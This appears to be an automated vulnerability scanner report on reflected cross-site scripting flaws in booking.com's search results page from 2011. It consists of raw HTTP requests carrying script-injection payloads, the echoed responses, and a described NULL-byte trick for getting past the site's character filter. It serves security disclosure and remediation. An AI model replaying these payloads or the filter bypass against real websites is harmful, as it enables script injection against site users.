<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the do_availability_check request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 241d5"><script>alert(1)</script>c693cd0ec72 was submitted in the do_availability_check parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1241d5"><script>alert(1)</script>c693cd0ec72&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:14:27 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YXwiHh2%2F7WNDWgwOhJxwg7m3%2FTm%2Bpe85r18OTZ9lRoP8elUE0dmw8%2FadgG6c5SxD4aid1EHwSrafOMxcdczliGE6pI96UCUaChZ8AHgVMcuyemt5od5JE3EgU855Gq1vfVUuXnSBJU%2B3lUAtBhYLyXVgw5jaKRTu1dLT6JTmprya8%2FgmQ90g56i8TUsQ5CCS4RLMSvz1juaVV%2BGn6eJhJgLPDmYtmW67ocnRA4fLwc4if14Cy1PjqbA7GVqHWB04kLXc29JJGU1ZQEI8vmupyNkZRCwIZp32Km0KOk58RBEg%2BIxWbX5ENkUNFl%2BLB4AbUfwFbbxM4PnglJGDss8M329FUJL0yQTB7isi8lkB3s%2B2r05rCg3oCB3YtiZSvlu1ctX%2FDNFOWUjh12L8xenNTAVTByMQXBQG5zOPOqZzbnV7vXp5nWvdt0FTOFZwAz1W7Xzf7NOAt%2BRO96N39xqcFlMHYbVgLYEvbVvPjrzhoSJOIDg0B7ymtZ5xJdwoK3VBS1uU3MODPUytRuw6jDZZfTQ88mfOnwrqejWbeBtwVGAmV0EAbD%2FuDcJcQr23c2NPBuogOuwizCVtyiLcWQw0VXSeLOGEtom8EeOmZz7cgxFD%2Fo2trA%2FMemyTyKcuR7mvs7WvXsNWFsN5j5GEyioO1tP%2Fss3dWUJ26uVBxNQTGP5vOpEcJye6DL7OPeqSjO6RWTuTE1REbwfv%2FTt8593Y3BAxpAjsFcv6ZapdlgndN4uL5aqMYRSCCeTpmyibjpZwSX%2B%2FNwseL8sS86LfIKqAdAoHrroHG5O2MHieMWp3uh00eP0D8Bx9hdcaXL3bmZW15HL2rOBKoMWfN3Xmp1JkoxWrOyny%2BuU0wOfOwcYYwgyfNNfnRuM62%2FjgvBwtDCgmpqnQukoZH7tbz2mF9YNnmiPDXLe0C1FDDFtdL6wgnDLFIFGaANugYWFOKtg%2FxnM3O7xyj3YObEDusoAtDsRPKswe4aJ0gYgeJZYGrCh8v%2FPsMfYVNqC9nEPN0NjtjS854Mk9mwDRx2VUWnC4ZviYTSG00u44G6pC%2F4p6stPiA5lZXx%2BYdOjC4r1N%2Fs9Pf1F6f9eFc03H8TCGo4XoxEcmQlUCayCiKUMGmVTDizuwyvTlGop2ZvyWb4L%2B6E3Mqqyru5fXB380%2BFbYJutw5fRVIYGTsYFJfQM1YxWU64DlZRWs5N0TjeB1PawMafnu5qf32rQnJqlAxQGIvuze88oTPKtvXTs4D5eIqRERLUtTMxSVe6tPyh%2BTIanL6Vqph3HUt7LOLeUr4Tm%2BB4LTNboEWO8ljCAxHpF4HXKDhGHu3y0u%2F%2FWZQ7dzaFLhuCLgIgBqyVPS8eWNzk5%2FeY4xWvNKHb%2Fx2neF%2FZXNbcbcStV04yGjsembsy08i%2B9zRDd9UMjG1EHnDhFV7s7QaRz2KOzSv4wqoZabkKKKCmRzlYHQAzeVDc9rxdtYOmfuYZMfMAZjjA%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:14:28 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 392613 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- start: law_lang_country ...[SNIP]... nk" title="Forgotten your password?" href="https://secure.booking.com/login.html?op=remind;lang=en;go_back_url=http://www.booking.com/searchresults.html?aid=335591&city=20061717&do_availability_check=1241d5"><script>alert(1)</script>c693cd0ec72&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717"> ...[SNIP]...
The value of the do_availability_check request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c3a7e</script><script>alert(1)</script>ea78450c27a was submitted in the do_availability_check parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1c3a7e</script><script>alert(1)</script>ea78450c27a&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:15:53 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YXwiHh2%2F7WNDWgwOhJxwg7m3%2FTm%2Bpe85r18OTZ9lRoP8elUE0dmw8%2FZhpzeT%2BK4hAwg2A7xSkue5aXj8iDpRCv48zvdAT7pKC1dSIOa9Na5R0%2B%2B53Kbb0h3pLB1EiIcvX%2ByxMqQD6KySxQIPeENSCd9h1YEcALcJnnHnBQp5p75xchIQl1aD1BVKINVzxzhzXXNtW18qIMxwgxUol1xC6Keq1woll7upc6M9F15La%2FwgLi3EFLYLLGEIrCQQLMNgVMgmroSkaqgE4vtvmPM6yAMRtIwYq54hPOFLrTcy%2F2wYzZLBUUnnUZmYdj%2FpI6aIeMztpC%2BypNYMbLwrwZTkmz161Nv53iAsOaXTvAV8pzQIIUVAuZGSTQyFlF5olAIJKbtW8PK5QqRVRUJuYNeGYBS%2FZir4zBCkVSoGnVl2C6NwceXbcIQFzEcRY8yt%2F7CAtMfCQEcDHDFVXRT9vYVX077S42zp22a0j%2BSn7aRQ7OLVw72kSGvYxaQp5Dji9cM6ayi8IcXP4hyHIc2B01Q75WiUkRRbnjfzcaKjlByl%2F3N0Hl0KzBEOx1xo8Uz0%2FR%2BZO44gFny8Mw73HKJ0QawML%2F43GMIVRGyDWq%2Bt0QxH6qVYD%2BGmGSpDbLvriMGSieEzpLj%2FDLj3mgMOH1pcDLf9ZurwbA%2BVmVVp3osHlXxcOvlTRRcamlnuPx6vrVQGzkLCSQoyCxYUYGn6rI4x1VK6o2g0DebFMyRy5pEfBzHHqjejh0EVqsd536%2FKCNtO36u%2BU5VwAMQJZl2Rwx3oBjCmXNDXdtdS1VcPK1i7PiojvhONnedB8Zwd2TwF2NYexfQ1X0pZQ%2BmNsxTCWuv3aC5NX5NyDIlRFJMNaqPHniWw7bQANuvEVZdHa%2FPtQZSt2XtxkXh5AQ%2BxAGy%2BJpoxXArsbPFCy0pD7B7t8NLwmdpup%2BfLuWgjUOCkv08HBjD8JFBF8oGGe1YwqnUEzS1U8MfkLiGamdfSrUHcuht5Siovs2%2BnZn%2BAYEP35ovtNvL3F2SPFjrVb9GVm1RVrRzTS%2Fvbn2ddOiB49gKx0U0042Dp6AKvDL4xGa04azDxRjEoxnORykr39JkbAjTJK90en9hqxAc8NN8WJS9cvMh9NVmGpmIUmWAMYWb14ab32hkWvS%2BpT6%2FNVpFARjI5EOxQot7L82gcupJUKM6FgadMkZ%2FNMkSU3fGuObOQ1e%2FMY55tl9afDgi0kDUTi7beZgu8IqeXgduSVVh54OJ4BX4N1st2p8S7O8OWI9o%2FjklR6nRDXqGGm9r1mfX9GAgazy2APL29Q2ttTw1%2BJBuMAAbn2E92jHBNFVGJxwz4drqUd82LShp9sBw0KtkMHOAhncT7I8fnbJut0Go0Hq5ksnjgpw7wS3hj19chBn%2B7iK5ZBXTUUUTvEZxyjkKxoGyuqsy%2BdkdfLaWHkFNF%2BURvjEZfdXo%2BKi9RBXQR4ydP2%2FMdVuEqzzEGiw%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:15:54 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 392796 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the label request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b92f4"><script>alert(1)</script>0924bec2c54 was submitted in the label parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717b92f4"><script>alert(1)</script>0924bec2c54&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:21:45 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YdN864bAdMj5susnz%2B%2FDu3gSLqTPdzNwjL1I31V18mXsyk%2B69o4hArL0OKvHY7Kvxwj%2FcgZmigWcuouhIz31s%2BHiNSsUcs7i90XA7al3KkuFl9h4U9OioXxDOBtJrYNqCbnyiliwrLNa9vcnwhCabGW0Gsi3X67dPlj%2B%2FUZrOixMUkWAdHdCpQO6KDlC%2BVaM074nNTbZUb%2FbRk%2FN10Lux1Y6x4JTqsk1sEgrgJKp3noVRuitHm9fAgIzgvQHoU5MXehonNAvfLYXApJ4fPWrCxMHOvRNXal8RUXCNwvBVbKDjZ4jcqpLua%2Bw7%2BqOHipoWsFLWyaVCHvjhthI06JhgXn%2BtsyCXvPhMdvEppUgdWRkDNFVgBQuafsgwBufDsAxjE3ql%2FxbvdimX%2FOR3ivcMQkorAcwjCsCKODYX4MyhLvhMo4LkDrfNx2sQm%2BQhxxwDTSAke6I7GZ7Wn%2F0MkD7OAIFfkkO0UAbWI3wr8%2BAhf8iNJxAD%2Fr2Bmxp9JGc4Kqg7eoXGR7qX2eb6jpi2LMxyncmGoi5V9XAilh6q18rjMcJJr%2FfCAQidB1KV%2F6SOy5x%2BoK%2FwGU9rgs86WSPHrhDptRoguskisPbYmKDPG%2BlK7y%2BPhUPGSc%2BZaMaTcbhmpMJiNOPmvQaGIvdYtl8L22StdH47ZOdJvJeGo%2F%2BflrNpRDiMJkPUSRVy5nTNPSBPl6V5ASZjlgxISPWFfllZg2udihj%2BM2OJ2EviHGjSx0v%2BMo%2FNtSHeUPFBunnW9hwi9gLD7O2Foe%2BSZ8X6ncgcLIqb4KkPdcriZWz46nJATp5qYlpkSICmk0A49qkTej5wZpi3SCNLdWiubULvChUlcArz%2B4LfeKZZUI3oKIpxlL04OKL%2B5Bg5GvY3JBiXQrTJ5hTsBjkPBlDew1XiUz%2F7dv8D9ucGGx7HSsPe%2BRrKLFqHEavmdSxfLwKp9mrc5IRa1Y%2Fs%2FdVVeBaNvV%2BGm3epUiqPYFVf69rf5lLT7DkbzjdGEDgz%2BIJKkxIrXgCfszLKVKqHeDu1yuYaLyVnKvfDp5KzNo%2BKFLqhKbvGJWjXYlK3QOjE%2FDU%2BpgEArXuU9kl4zWV9rKBbuVj63EiNAGTnnth9njbOGfVHtXtgRiup44QIeUyBKn6n8aXfETR17zkr3ETm1l3mk965DYp5TGYsh2nn02AeSAdeFd1rECbZyd7FADx%2FKHeU41lQIB28kLuPoxQU4x%2BMklM0aUS6iRdAuJ17r%2Banbw4fiU3%2B9v6QFN0Mg%2BKy1lfEFcXpEy7mDrfDDgzindKlyaWVt2UQdycXb%2BtBE%2FajEHI2%2BV6Ytm8X1cf9fR2PRHsIu8PuUY36BGdDoKEwXrdooxW0oaJMXqdiYsnVL%2BXD0EwsoxyaffsBhAcdRU%2F29z5F8G1UoPHhJ3ryqsktM8c9os43XZcqjkRshGvu3qkgD4I6vL1nrGVlxp3Q%2FwSRLKZzDOMveFBQ7EMRNNrsA%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:21:46 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 424018 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the label request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e13b6</script><script>alert(1)</script>4f08add9a9c was submitted in the label parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717e13b6</script><script>alert(1)</script>4f08add9a9c&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:23:02 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YdN864bAdMj5susnz%2B%2FDu3gSLqTPdzNwjL1I31V18mXsyk%2B69o4hArL0OKvHY7Kvxwj%2FcgZmigWcuouhIz31s%2BHiNSsUcs7i90XA7al3KkuFl9h4U9OioXxDOBtJrYNqCbnyiliwrLNa9vcnwhCabGW0Gsi3X67dPlj%2B%2FUZrOixMUkWAdHdCpQO6KDlC%2BVaM074nNTbZUb%2FbRk%2FN10Lux1Y6x4JTqsk1sEgrgJKp3noVRuitHm9fAgIzgvQHoU5MXehonNAvfLYXApJ4fPWrCxMHOvRNXal8RUXCNwvBVbKDjZ4jcqpLua%2Bw7%2BqOHipoWsFLWyaVCHvjhthI06JhgXn%2BtsyCXvPhMdvEppUgdWRkDNFVgBQuafsgwBufDsAxjE3ql%2FxbvdimX%2FOR3ivcMQkorAcwjCsCKODYX4MyhLvhMo4LkDrfNx2sQm%2BQhxxwDTSAke6I7GZ7Wn%2F0MkD7OAIFfkkO0UAbWI3wr8%2BAhf8iNJxAD%2Fr2Bmxp9JGc4Kqg7eoXGR7qX2eb6jpi2LMxyncmGoi5V9XAilh6q18rjMcJJr%2FfCAQidB1KV%2F6SOy5x%2BoK%2FwGU9rgs86WSPHrhDptRoguskisPbYmKDPG%2BlK7y%2BPhUPGSc%2BZaMaTcbhmpMJiNOPmvQaGIvdYtl8L22StdH47ZOdJvJeGo%2F%2BflrNpRDiMJkPUSRVy5nTNPSBPl6V5ASZjlgxISPWFfllZg2udihj%2BM2OJ2EviHGjSx0v%2BMo%2FNtSHeUPFBunnW9hwi9gLD7O2Foe%2BSZ8X6ncgcLIqb4KkPdcriZWz46nJATp5qYlpkSICmk0A49qkTej5wZpi3SCNLdWiubULvChUlcArz%2B4LfeKZZUI3oKIpxlL04OKL%2B5Bg5GvY3JBiXQrTJ5hTsBjkPBlDew1XiUz%2F7dv8D9ucGGx7HSsPe%2BRrKLFqHEavmdSxfLwKp9mrc5IRa1Y%2Fs%2FdVVeBaNvV%2BGm3epUiqPYFVf69rf5lLT7DkbzjdGEDgz%2BIJKkxIrXgCfszLKVKqHeDu1yuYaLyVnKvfDp5KzNo%2BKFLqhKbvGJWjXYlK3QOjE%2FDU%2BpgEArXuU9kl4zWV9rKBbuVj63EiNAGTnnth9njbOGfVHtXtgRiup44QIeUyBKn6n8aXfETR17zkr3ETm1l3mk965DYp5TGYsh2nn02AeSAdeFd1rECbZyd7FADx%2FKHeU41lQIB28kLuPoxQU4x%2BMklM0aUS6iRdAuJ17r%2Banbw4fiU3%2B9v6QFN0Mg%2BKy1lfEFcXpEy7mDrfDDgzindKlyaWVt2UQdycXb%2BtBE%2FajEHI2%2BV6YpzrsI5SzS%2BQb%2Bb3G46mcFw7uv282jydUonn8V%2Be2DNNbuunjVd4QEKlf6kiOQwEhvC4Kem4egVt2gQx912jRKIqrlDWzWUpphx9ROSfi4stAQoqAHQe50OCUcSj5XYvqn7Dk8dHRqN8IOxuK%2FDfaCvdYEWClA4Feg%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:23:03 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 428678 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
4.226. http://www.booking.com/searchresults.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.booking.com
Path:
/searchresults.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 29030'%3balert(1)//3ae62dd2bf5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 29030';alert(1)//3ae62dd2bf5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717&29030'%3balert(1)//3ae62dd2bf5=1 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&